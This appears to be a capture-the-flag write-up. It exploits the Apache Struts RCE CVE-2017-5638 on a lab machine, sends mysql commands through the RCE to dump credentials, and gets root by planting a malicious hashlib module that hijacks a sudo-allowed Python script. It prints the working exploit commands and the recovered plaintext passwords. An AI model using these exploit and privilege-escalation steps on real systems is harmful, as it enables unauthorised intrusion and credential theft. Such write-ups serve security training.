The Tomcat server (on port 80 and 8080) is protected by a http authentication but in /Monitoring/ we got redirect to http://10.10.10.64/Monitoring/example/Login_input.action the .action reminded us of the Apache Struts RCE (the Jakarta one): CVE-2017-5638.
A nice script to exploit the RCE is struts-pwn; the pattern to run the script is:
[*] URL: http://10.10.10.64/Monitoring/example/Login_input.action [*] CMD: id [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely
And the command will return the output of the id command.
We first got that the user flag is for richard and not tomcat8 so we need to find a way to login as richard. Obviously shadow and /home/richard/user.txt cannot be accessed.
On the Tomcat folder we found a file called db_connect with some credentials and in /etc/tomcat8/tomcat-users.xml we found another username:password combination.
None of those credentials were useful to login as richard via SSH.
Since the file db_connect could be used to connect to the running server MySQL we can use the RCE to issue comands to mysql.
1 2 3 4 5 6 7
[ssn] user=ssn_admin pass=AWs64@on*&
[users] user=admin pass=admin
First we tried to list all databases:
python exploit.py -u http://10.10.10.64/Monitoring/example/Login_input.action -c "echo show databases | mysql -u admin -padmin"
1 2 3 4 5 6 7 8 9 10
[*] URL: http://10.10.10.64/Monitoring/example/Login_input.action [*] CMD: echo show databases | mysql -u admin -padmin [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely
Database information_schema users
And with the same pattern of commands we got that the DB users has two tables: Tables_in_users (we don’t have rights to access) and accounts.
Usefull command to get the content of the table accounts:
echo show tables | mysql -u admin -padmin users
echo describe accounts | mysql -u admin -padmin users
echo SELECT fullName,password,username FROM accounts | mysql -u admin -padmin users (using * in query will crash the server)
So we got:
fullName password username Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard
Using those credentials we could login via SSH a richard.
In the home directory we also found a python script and with sudo -l we disovered that the script can be runned by richard as root without password: (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py.
defquestion(): q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n") md5 = hashlib.md5() md5.update(q1.encode()) ifnot md5.hexdigest() == "5af003e100c80923ec04d65933d382cb": print("Sorry, that's not right") return print("You got it!") q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n") sha1 = hashlib.sha1() sha1.update(q2.encode()) ifnot sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff': print("Nope, that one didn't work...") return print("WOW, you're really good at this!") q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n") md4 = hashlib.new('md4') md4.update(q3.encode()) ifnot md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9': print("Yeah, I don't think that's right.") return print("OK, OK! I get it. You know how to crack hashes...") q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n") blake = hashlib.new('BLAKE2b512') blake.update(q4.encode()) ifnot blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943': print("You were so close! urg... sorry rules are rules.") return
import os os.system('/root/success.py') return
The script will ask some “questions” that we need to answer/solve in order to execute /root/success.py as root.
Since the cracking time of the first MD5 was a way too long we realized that we could exploit the script to run every commands we want: when test.py will call import hashlib it’ll first search for any file called hashlib.py in the current directory.
Creating a python file called hashlist.py with this payload print(open("/root/root.txt").read()) we gained the root flag!